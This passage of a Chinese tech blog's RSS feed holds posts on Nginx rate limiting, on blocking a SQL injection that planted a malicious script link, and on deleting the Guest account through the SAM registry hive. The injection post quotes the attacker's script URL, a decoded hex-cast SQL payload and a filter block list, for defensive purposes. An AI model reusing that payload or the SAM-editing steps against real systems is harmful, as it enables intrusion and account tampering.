<p>本文的目的不在于解释如何设计游戏，而只是提供游戏设计的思路。解决了这四个层次的问题也还只是设计游戏的开端，但至少可以指引你朝着正确的方向前进，而不至于迷失方向。</p>
<p>&nbsp;</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%80%9D%E7%BB%B4%E7%9A%84%E6%83%AF%E6%80%A7.html" title="思维的惯性">思维的惯性</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E9%9A%8F%E6%9C%BA%E6%95%B0%E6%9C%89%E5%A4%9A%E9%9A%8F%E6%9C%BA%EF%BC%9F.html" title="随机数有多随机？">随机数有多随机？</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E7%94%A8%E5%9B%9B%E5%8F%89%E6%A0%91%E7%AE%A1%E7%90%86%E6%95%A3%E5%B8%83%E5%9C%A8%E5%B9%B3%E9%9D%A2%E4%B8%8A%E7%9A%84%E5%AF%B9%E8%B1%A1.html" title="用四叉树管理散布在平面上的对象">用四叉树管理散布在平面上的对象</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%B8%B8%E6%88%8F%E7%9A%84%E5%B8%A7%E7%8E%87%E6%8E%A7%E5%88%B6.html" title="游戏的帧率控制">游戏的帧率控制</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/eacceleratoryumemcachedequbieyuyongtu.html" title="eAccelerator与memcache的区别与用途">eAccelerator与memcache的区别与用途</a> (2)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%95%B0%E6%8D%AE%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9A%84%E8%AE%BE%E8%AE%A1.html" title="数据服务器的设计">数据服务器的设计</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E5%A4%9A%E8%BF%9B%E7%A8%8B%E7%9A%84%E6%B8%B8%E6%88%8F%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%AE%BE%E8%AE%A1.html" title="多进程的游戏服务器设计">多进程的游戏服务器设计</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%B6%88%E6%81%AF%E7%9A%84%E5%B9%BF%E6%92%AD.html" title="服务器消息的广播">服务器消息的广播</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E7%BD%91%E7%BB%9C%E6%B8%B8%E6%88%8F%E7%9A%84%E5%AF%B9%E6%97%B6%E4%BB%A5%E5%8F%8A%E5%90%8C%E6%AD%A5%E9%97%AE%E9%A2%98.html" title="网络游戏的对时以及同步问题">网络游戏的对时以及同步问题</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E4%BB%A5%E4%BA%BA%E4%B8%BA%E6%9C%AC%EF%BC%8C%E7%BE%8E%E6%9C%AF%E8%B5%84%E6%BA%90%E7%9A%84%E5%BD%92%E6%A1%A3.html" title="以人为本，美术资源的归档">以人为本，美术资源的归档</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%B8%B8%E6%88%8F%E4%B8%AD%E7%9A%84%E8%B4%A7%E5%B8%81.html" title="游戏中的货币">游戏中的货币</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%B8%B8%E6%88%8F%E6%9C%8D%E5%8A%A1%E5%99%A8%E5%86%85%E7%9A%84%E7%BB%84%E6%92%AD.html" title="游戏服务器内的组播">游戏服务器内的组播</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/%E4%BB%A3%E7%A0%81" title="代码" rel="tag">代码</a>, <a href="http://www.5bay.cn/tag/%E5%AF%B9%E8%B1%A1" title="对象" rel="tag">对象</a>, <a href="http://www.5bay.cn/tag/%E5%B7%A5%E5%85%B7" title="工具" rel="tag">工具</a>, <a href="http://www.5bay.cn/tag/%E6%8A%80%E5%B7%A7" title="技巧" rel="tag">技巧</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE" title="数据" rel="tag">数据</a>, <a href="http://www.5bay.cn/tag/%E6%B8%B8%E6%88%8F" title="游戏" rel="tag">游戏</a>, <a href="http://www.5bay.cn/category/game-development" title="游戏开发" rel="tag">游戏开发</a>, <a href="http://www.5bay.cn/tag/%E7%9B%88%E5%88%A9" title="盈利" rel="tag">盈利</a>, <a href="http://www.5bay.cn/tag/%E7%A8%8B%E5%BA%8F" title="程序" rel="tag">程序</a>, <a href="http://www.5bay.cn/tag/%E7%B1%BB" title="类" rel="tag">类</a>, <a href="http://www.5bay.cn/tag/%E7%B3%BB%E7%BB%9F" title="系统" rel="tag">系统</a>, <a href="http://www.5bay.cn/tag/%E8%90%A5%E9%94%80" title="营销" rel="tag">营销</a>, <a href="http://www.5bay.cn/tag/%E8%A1%A8" title="表" rel="tag">表</a>, <a href="http://www.5bay.cn/tag/%E8%A7%A3%E5%86%B3" title="解决" rel="tag">解决</a>, <a href="http://www.5bay.cn/tag/%E8%AE%BE%E8%AE%A1" title="设计" rel="tag">设计</a>, <a href="http://www.5bay.cn/tag/%E9%BC%A0%E6%A0%87" title="鼠标" rel="tag">鼠标</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/game-development/zishenshejishitonyventricejiexishoujiyouxikaifadesigecengci.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Nginx限速</title>
		<link>http://www.5bay.cn/server-building/nginxxiansu.html</link>
		<comments>http://www.5bay.cn/server-building/nginxxiansu.html#comments</comments>
		<pubDate>Tue, 17 Aug 2010 15:56:15 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[服务器构建&安全]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[div]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[include]]></category>
		<category><![CDATA[mod]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[php5]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[title]]></category>
		<category><![CDATA[图片]]></category>
		<category><![CDATA[程序]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=531</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/server-building/nginxxiansu.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>看了网上很多的Nginx介绍，就跟着弄，发现总是限制不了速度： 配置如下 http { limit_zone   one $binary_remote_addr 10m; server{ &#8230;.. location /attachments/ { limit_conn   one 1; limit_rate 100k; } } } 在万般无奈下，找到这样句话“如果把limti_rate直接放在server{}中，而不是location中，确实能实现限速，但我只想限制附件下载的速度，请问大大该怎么搞？” 原来这个就是原因了。limit_rate只能对Server进行限速，不能对单个Location限速。所以如果要某个目录（一般是图片资源）限速，可以把用另一个域名进行限制。例子如下： server { listen       80; server_name www.5bay.cn; index index.html index.htm index.php; root /project/trunk; location ~ .*\.(php&#124;php5)?$ { #fastcgi_pass unix:/tmp/php-cgi.sock; fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; include fcgi.conf; } } server { listen       80; server_name www.5bay.cn; [...]]]></description>
			<content:encoded><![CDATA[<p>看了网上很多的Nginx介绍，就跟着弄，发现总是限制不了速度：<span style="color: #666666;"> 配置如下</span></p>
<p><span style="color: #999999;">http {<br />
limit_zone   one $binary_remote_addr 10m; </span></p>
<p><span style="color: #999999;">server{ &#8230;..</span></p>
<p><span style="color: #999999;">location /attachments/ {<br />
limit_conn   one 1;<br />
limit_rate 100k;<br />
}<br />
}</span></p>
<p><span style="color: #999999;">}</span></p>
<p>在万般无奈下，找到这样句话“如果把<span style="color: #ff0000;">limti_rate</span><span style="color: #ff0000;">直接放在server{}中，而不是location中，确实能实现限速</span>，但我只想限制附件下载的速度，请问大大该怎么搞？”<span id="more-531"></span></p>
<p>原来这个就是原因了。limit_rate只能对Server进行限速，不能对单个Location限速。所以如果要某个目录（一般是图片资源）限速，可以把用另一个域名进行限制。例子如下：</p>
<p>server<br />
{<br />
listen       80;<br />
server_name www.5bay.cn;<br />
index index.<a href="http://www.5bay.cn/tag/html" class="st_tag internal_tag" rel="tag" title="标签 html 下的日志">html</a> index.htm index.php;<br />
root /project/trunk;<br />
location ~ .*\.(php|<a href="http://www.5bay.cn/tag/php5" class="st_tag internal_tag" rel="tag" title="标签 php5 下的日志">php5</a>)?$<br />
{<br />
#fastcgi_pass unix:/tmp/php-cgi.sock;<br />
fastcgi_pass 127.0.0.1:9000;<br />
fastcgi_index index.php;<br />
<a href="http://www.5bay.cn/tag/include" class="st_tag internal_tag" rel="tag" title="标签 include 下的日志">include</a> fcgi.conf;<br />
}<br />
}</p>
<p>server<br />
{<br />
listen       80;<br />
server_name <a href="http://www.example2.com/">www.5bay.cn</a>;<br />
index index.html index.htm;<br />
root /project/trunk;</p>
<p>limit_conn one 1;<br />
limit_rate 1k;         #打开图片好慢啊~~<br />
#limit_conn   crawler 20;<br />
location ~* .*\.php$ {<br />
rewrite .* 404 break;<br />
}</p>
<p>if ($uri !~* /uploads/)<br />
{<br />
rewrite .* 404 break;<br />
}<br />
}</p>
<p>以上环境在Centos5.3中设置</p>
<p>==============================================================</p>
<p>2010.01.31 环境：Windows xp + Cygwin + Nginx + PHPFastCGI</p>
<p>这一段是Nginx官方的文档：<a href="http://wiki.nginx.org/NginxHttpCoreModule#limit_rate">http://wiki.nginx.org/NginxHttpCoreModule#limit_rate</a></p>
<p><span>limit_rate </span></p>
<p><span><strong>syntax:</strong> <em>limit_rate speed</em> </span></p>
<p><span><strong>default:</strong> <em>no</em> </span></p>
<p><span><strong>context:</strong> <em><strong><span style="color: #ff0000;">http, server, location, if in location</span></strong></em> </span></p>
<p><span>Directive assigns the speed of transmission of the answer to client. Speed is assigned in the bytes per second. Limitation works only for one connection, i.e., if client opens 2 connections, then total velocity will be 2 times higher then the limit set. </span></p>
<p><span>If it is necessary to limit speed for the part of the clients at the <em>server</em> level, based on some kind of condition &#8211; then this directive does not apply. Instead you should specify the limit by assigning the value to the $limit_rate variable, as shown below: </span></p>
<pre><a href="http://wiki.nginx.org/NginxHttpCoreModule#server"><span>server</span></a><span> {
  </span><a href="http://wiki.nginx.org/NginxHttpRewriteModule#if"><span>if</span></a><span> ($slow) {
    </span><a href="http://wiki.nginx.org/NginxHttpRewriteModule#set"><span>set</span></a><span> $limit_rate  4k;
  }
}</span></pre>
<p><span>You can also control the rate of individual responses returned by a <code><span style="font-family: 新宋体;">proxy_pass</span></code> response (</span><a title="NginxHttpProxyModule" href="http://wiki.nginx.org/NginxHttpProxyModule"><span>NginxHttpProxyModule</span></a><span>) by setting the <code><span style="font-family: 新宋体;">X-Accel-Limit-Rate</span></code> header (</span><a title="NginxXSendfile" href="http://wiki.nginx.org/NginxXSendfile"><span>NginxXSendfile</span></a><span>). This can be done without a <code><span style="font-family: 新宋体;">X-Accel-Redirect</span></code> header. </span></p>
<p>发现 limit_rate的适应范围 <span><strong>context:</strong> <em><strong><span style="color: #ff0000;">http, server, location, if in location</span></strong></em> </span></p>
<p><span>其中是包括Location的。于是在Windows的环境设置</span></p>
<p><span><span style="color: #666666;"> location ~\.flv$ {<br />
flv;<br />
limit_rate 2k;<br />
}</span> </span></p>
<p><span>但发现依然不能正常限速，再试过另一种方式 ，直接用IP访问而不通过localhost或127.0.0.1访问。会不会因为回路网络（好像是这个名字）无法在程序中限制速度（netlimiter可以）。果然出现</span></p>
<p><span><span style="color: #666666;">$ wget </span><a href="http://192.168.1.13/input.flv"><span style="color: #666666;">http://192.168.1.13/input.flv</span></a><br />
<span style="color: #666666;">&#8211;2010-01-31 12:54:42&#8211; </span><a href="http://192.168.1.13/input.flv"><span style="color: #666666;">http://192.168.1.13/input.flv</span></a><br />
<span style="color: #666666;">Connecting to 192.168.1.13:80&#8230; connected.<br />
HTTP request sent, awaiting response&#8230; 200 OK<br />
Length: 69235224 (66M) [video/x-flv]<br />
Saving to: `input.flv.2&#8242;</span></span></p>
<p><span style="color: #666666;">0% [                                       ] 10,017      1.98K/s eta 9h 30m</span></p>
<p><span>看来是真的限制速度了。</span></p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2011年06月29日 -- <a href="http://www.5bay.cn/android%e7%ac%94%e8%ae%b0/zaiandroidzhongchuangjianqidongjiemian.html" title="在Android中创建启动界面">在Android中创建启动界面</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/webshelleechueeee.html" title="Webshell下破解计算机管理员密码">Webshell下破解计算机管理员密码</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html" title="PHP对文本数据库的基本操作方法">PHP对文本数据库的基本操作方法</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeezhanchang.html" title="PHP安全之数据过滤">PHP安全之数据过滤</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/tupianlunhuanleiie7opffchromeceshitongguo.html" title="图片轮换类，IE7、OP、FF、Chrome测试通过">图片轮换类，IE7、OP、FF、Chrome测试通过</a> (2)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/nginxderewriteguize.html" title="nginx的rewrite规则">nginx的rewrite规则</a> (1)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2008年11月12日 -- <a href="http://www.5bay.cn/network-programming/javascript-ajax/documentbodyscrolltop%E4%B8%BA0.html" title="document.body.scrollTop为0">document.body.scrollTop为0</a> (0)</li><li>2011年06月29日 -- <a href="http://www.5bay.cn/me/kaiyuanruanjiandeyinglimoshi.html" title="开源软件的盈利模式">开源软件的盈利模式</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aoeempirebakeebshell.html" title="帝国备份王(Empirebak)拿webshell">帝国备份王(Empirebak)拿webshell</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/code" title="code" rel="tag">code</a>, <a href="http://www.5bay.cn/tag/div" title="div" rel="tag">div</a>, <a href="http://www.5bay.cn/tag/html" title="html" rel="tag">html</a>, <a href="http://www.5bay.cn/tag/include" title="include" rel="tag">include</a>, <a href="http://www.5bay.cn/tag/mod" title="mod" rel="tag">mod</a>, <a href="http://www.5bay.cn/tag/php" title="PHP" rel="tag">PHP</a>, <a href="http://www.5bay.cn/tag/php5" title="php5" rel="tag">php5</a>, <a href="http://www.5bay.cn/tag/server" title="server" rel="tag">server</a>, <a href="http://www.5bay.cn/tag/title" title="title" rel="tag">title</a>, <a href="http://www.5bay.cn/tag/%E5%9B%BE%E7%89%87" title="图片" rel="tag">图片</a>, <a href="http://www.5bay.cn/category/server-building" title="服务器构建&amp;安全" rel="tag">服务器构建&amp;安全</a>, <a href="http://www.5bay.cn/tag/%E7%A8%8B%E5%BA%8F" title="程序" rel="tag">程序</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/server-building/nginxxiansu.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ASP防注入新方式，希望对大家是有用的</title>
		<link>http://www.5bay.cn/server-building/aspeaojie.html</link>
		<comments>http://www.5bay.cn/server-building/aspeaojie.html#comments</comments>
		<pubDate>Wed, 28 Jul 2010 02:00:27 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[服务器构建&安全]]></category>
		<category><![CDATA[ASP]]></category>
		<category><![CDATA[js]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[url]]></category>
		<category><![CDATA[人]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[工具]]></category>
		<category><![CDATA[数据]]></category>
		<category><![CDATA[数据库]]></category>
		<category><![CDATA[方法]]></category>
		<category><![CDATA[程序]]></category>
		<category><![CDATA[类]]></category>
		<category><![CDATA[网站]]></category>
		<category><![CDATA[诫]]></category>
		<category><![CDATA[连接]]></category>
		<category><![CDATA[防注入]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=527</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/server-building/aspeaojie.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>最近我的网站经常把js脚本注入到数据，清除了又来。先后在网上找了很多的方法，还是没有用的，十分恼火。 首先先告诉大家一个批量清除代码的sql语句。 update 表名 set 字段=replace(字段,&#8217;script src=http://3b3.org/c.js&#62; 1、分析那些无聊的人，或者有些病态的人究竟做了些什么 。 通过iis的日志或者microsoft urlscan 日志查看，在一些通过id查询数据库内容的时候后面被人加了一段很长的字符窜。 %%3B%%44%%65%%43%%4C%%61%%52%%45%%类似这样的字符窜，一定是其他的方式编码 首先我们先用工具分析下如此之长的字符窜究竟包含了些什么内容。 通过批量替换工具把%%全部替换成空，然后把得到的字符串通过其他的转码工具，转成字符窜。 ;DeCLaRE @S NvArCHaR(4000);SeT @S=CaSt(0&#215;45这里代码去掉了06F007200 aS NvArChAR(4000));ExEc(@S);&#8211; 就是一段与通过id查询数据库同时执行的sql，就给数据库某些表的字段加入了js病毒连接。 2、所以我们的原来的防sql注入的字符串就需要升级了。 如果过滤16进制 ; 对应 3B DeCLaRE 对应 4465434C615245 @ 对应 40 NvArCHaR 对应 4E76417243486152 set 对应 536554 CaSt 对应 43615374 as 对应 6153 exec 对应 45784563 - 对应 2D 把16进制的代码用&#124;隔开放到injdata 里面 injdata = [...]]]></description>
			<content:encoded><![CDATA[<p>最近我的网站经常把js脚本注入到数据，清除了又来。先后在网上找了很多的方法，还是没有用的，十分恼火。</p>
<p>首先先告诉大家一个批量清除代码的sql语句。</p>
<p>update 表名 set 字段=replace(字段,&#8217;script src=http://3b3.org/c.js&gt;<br />
1、分析那些无聊的人，或者有些病态的人究竟做了些什么 。</p>
<p>通过iis的日志或者microsoft urlscan 日志查看，在一些通过id查询数据库内容的时候后面被人加了一段很长的字符窜。</p>
<p>%%3B%%44%%65%%43%%4C%%61%%52%%45%%类似这样的字符窜，一定是其他的方式编码</p>
<p>首先我们先用工具分析下如此之长的字符窜究竟包含了些什么内容。</p>
<p>通过批量替换工具把%%全部替换成空，然后把得到的字符串通过其他的转码工具，转成字符窜。</p>
<p>;DeCLaRE @S NvArCHaR(4000);SeT @S=CaSt(0&#215;45这里代码去掉了06F007200 aS NvArChAR(4000));ExEc(@S);&#8211;</p>
<p>就是一段与通过id查询数据库同时执行的sql，就给数据库某些表的字段加入了js病毒连接。</p>
<p>2、所以我们的原来的防sql注入的字符串就需要升级了。</p>
<p>如果过滤16进制</p>
<p>; 对应 3B</p>
<p>DeCLaRE 对应 4465434C615245</p>
<p>@ 对应 40</p>
<p>NvArCHaR 对应 4E76417243486152</p>
<p>set 对应 536554</p>
<p>CaSt 对应 43615374</p>
<p>as 对应 6153</p>
<p>exec 对应 45784563</p>
<p>- 对应 2D</p>
<p>把16进制的代码用|隔开放到injdata 里面</p>
<p>injdata = “3B|2D|&#8217;|;|and|exec|insert|select|delete%20from|update|count|”</p>
<p>然后自己测试下，程序是否拦击了这些16进制的代码，本人测试过是可以拦击的，如果不加入这些是不拦击的</p>
<p>照样可以注入到数据库。</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeefangeredoc.html" title="php的文档句法(heredoc)<<<和PHP字符串操作">php的文档句法(heredoc)<<<和PHP字符串操作</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeezhanchang.html" title="PHP安全之数据过滤">PHP安全之数据过滤</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpfengzhuangchangyongjavascriptweijsleiyibiankuaisudiaoyong.html" title="PHP封装常用Javascript为JS类以便快速调用">PHP封装常用Javascript为JS类以便快速调用</a> (1)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html" title="PHP对文本数据库的基本操作方法">PHP对文本数据库的基本操作方法</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (1)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajax.html" title="AJAX的各种控件和类库">AJAX的各种控件和类库</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/xmlhttpe.html" title="XMLHTTP对象封装技术">XMLHTTP对象封装技术</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/eacceleratoryumemcachedequbieyuyongtu.html" title="eAccelerator与memcache的区别与用途">eAccelerator与memcache的区别与用途</a> (2)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/asp" title="ASP" rel="tag">ASP</a>, <a href="http://www.5bay.cn/tag/js" title="js" rel="tag">js</a>, <a href="http://www.5bay.cn/tag/sql" title="sql" rel="tag">sql</a>, <a href="http://www.5bay.cn/tag/url" title="url" rel="tag">url</a>, <a href="http://www.5bay.cn/tag/%E4%BA%BA" title="人" rel="tag">人</a>, <a href="http://www.5bay.cn/tag/%E4%BB%A3%E7%A0%81" title="代码" rel="tag">代码</a>, <a href="http://www.5bay.cn/tag/%E5%B7%A5%E5%85%B7" title="工具" rel="tag">工具</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE" title="数据" rel="tag">数据</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE%E5%BA%93" title="数据库" rel="tag">数据库</a>, <a href="http://www.5bay.cn/tag/%E6%96%B9%E6%B3%95" title="方法" rel="tag">方法</a>, <a href="http://www.5bay.cn/category/server-building" title="服务器构建&amp;安全" rel="tag">服务器构建&amp;安全</a>, <a href="http://www.5bay.cn/tag/%E7%A8%8B%E5%BA%8F" title="程序" rel="tag">程序</a>, <a href="http://www.5bay.cn/tag/%E7%B1%BB" title="类" rel="tag">类</a>, <a href="http://www.5bay.cn/tag/%E7%BD%91%E7%AB%99" title="网站" rel="tag">网站</a>, <a href="http://www.5bay.cn/tag/e" title="诫" rel="tag">诫</a>, <a href="http://www.5bay.cn/tag/%E8%BF%9E%E6%8E%A5" title="连接" rel="tag">连接</a>, <a href="http://www.5bay.cn/tag/%E9%98%B2%E6%B3%A8%E5%85%A5" title="防注入" rel="tag">防注入</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/server-building/aspeaojie.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>通过注册表彻底删除guest等账户</title>
		<link>http://www.5bay.cn/server-building/eeeuestee.html</link>
		<comments>http://www.5bay.cn/server-building/eeeuestee.html#comments</comments>
		<pubDate>Wed, 28 Jul 2010 01:57:37 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[服务器构建&安全]]></category>
		<category><![CDATA[domain]]></category>
		<category><![CDATA[方法]]></category>
		<category><![CDATA[程序]]></category>
		<category><![CDATA[系统]]></category>
		<category><![CDATA[诫]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=521</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/server-building/eeeuestee.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>开始&#8212;&#8212;运行regedt  启动注册表编辑器 找到HKEY_LOCAL_MACHINE窗口，选中SAM\SAM，然后点菜单中的权限设置，这时候我们可看到Administrators组只具有特殊权限，而SYSTEM账号却拥有全部控制权限，想一想这是为什么呢？其实很容易理解，SYSTEM账号是系统启动时候需要的账号，很多系统内核程序和服务程序大都是以该账号的权限运行的，若权限太低的话，恐怕我们的系统就运行不了！现在我们需要做的是更改Administrators权限（一定要在高级选项中记住该权限内容以备后用）为全部控制，这样我们就可以访问SAM下的信息了。 再次运行regedit： 此时HKEY_LOCAL_MACHINE\SAM\SAM下就有东西了，步步深入一直找到： HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F5 和 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\Guest 删除000001F5和Guest，然后退出regedit，再次运行regedt32，恢复Administrators对sam的权限（还记得Administrators的特殊权限吗？一定要记得啊，实在没有记住的话找其它同系统的机器看看也行，是一样的），这样是为了安全考虑，防止用户不小心删除系统账号。 进入dos窗口： &#62;net user 看看，会看大guest不见了，同样使用系统管理器的用户和组查看也是没有的了。这样就大功搞成了！ ======== 需要提醒的是： 1、不熟悉注册表编辑的一定不要乱来，否则可能导致系统崩溃。 2、删除前可考虑通过注册表的导出功能对删除的部分进行备份，以便恢复。 深入去玩的方法是： 可通过编辑注册表的SAM信息可轻松删除或改动其它账 2、可编写程序以SYSTEM权限运行来访问注册表中的SAM信息实现删除guest。 相关博文2010年07月28日 -- Webshell下破解计算机管理员密码 (0)2010年07月26日 -- 深入探讨PHP中的内存管理问题 (0)2010年07月26日 -- PHP对文本数据库的基本操作方法 (0)2010年07月26日 -- Ajax的工作原理 (1)2010年07月26日 -- ajax的缺点 (0)2010年07月28日 -- ASP防注入新方式，希望对大家是有用的 (0)2010年07月26日 -- 最令PHP初学者头痛的十四个问题 (0)2010年07月26日 -- PHP和Socket简介 (0)2010年07月26日 -- AJAX应用程序开发七宗罪 (0)2010年07月26日 -- 基于JSON的高级AJAX开发技术 (0)2010年07月26日 -- PHP安全之数据过滤 (0)2010年05月23日 -- Rsync详解 [...]]]></description>
			<content:encoded><![CDATA[<p>开始&#8212;&#8212;运行regedt  启动注册表编辑器<br />
找到HKEY_LOCAL_MACHINE窗口，选中SAM\SAM，然后点菜单中的权限设置，这时候我们可看到Administrators组只具有特殊权限，而SYSTEM账号却拥有全部控制权限，想一想这是为什么呢？其实很容易理解，SYSTEM账号是系统启动时候需要的账号，很多系统内核程序和服务程序大都是以该账号的权限运行的，若权限太低的话，恐怕我们的系统就运行不了！现在我们需要做的是更改Administrators权限（一定要在高级选项中记住该权限内容以备后用）为全部控制，这样我们就可以访问SAM下的信息了。<br />
再次运行regedit：<br />
此时HKEY_LOCAL_MACHINE\SAM\SAM下就有东西了，步步深入一直找到：<br />
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F5 和 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\Guest<br />
删除000001F5和Guest，然后退出regedit，再次运行regedt32，恢复Administrators对sam的权限（还记得Administrators的特殊权限吗？一定要记得啊，实在没有记住的话找其它同系统的机器看看也行，是一样的），这样是为了安全考虑，防止用户不小心删除系统账号。<br />
进入dos窗口：<br />
&gt;net user<br />
看看，会看大guest不见了，同样使用系统管理器的用户和组查看也是没有的了。这样就大功搞成了！<br />
========<br />
需要提醒的是：<br />
1、不熟悉注册表编辑的一定不要乱来，否则可能导致系统崩溃。<br />
2、删除前可考虑通过注册表的导出功能对删除的部分进行备份，以便恢复。 深入去玩的方法是：<br />
可通过编辑注册表的SAM信息可轻松删除或改动其它账<br />
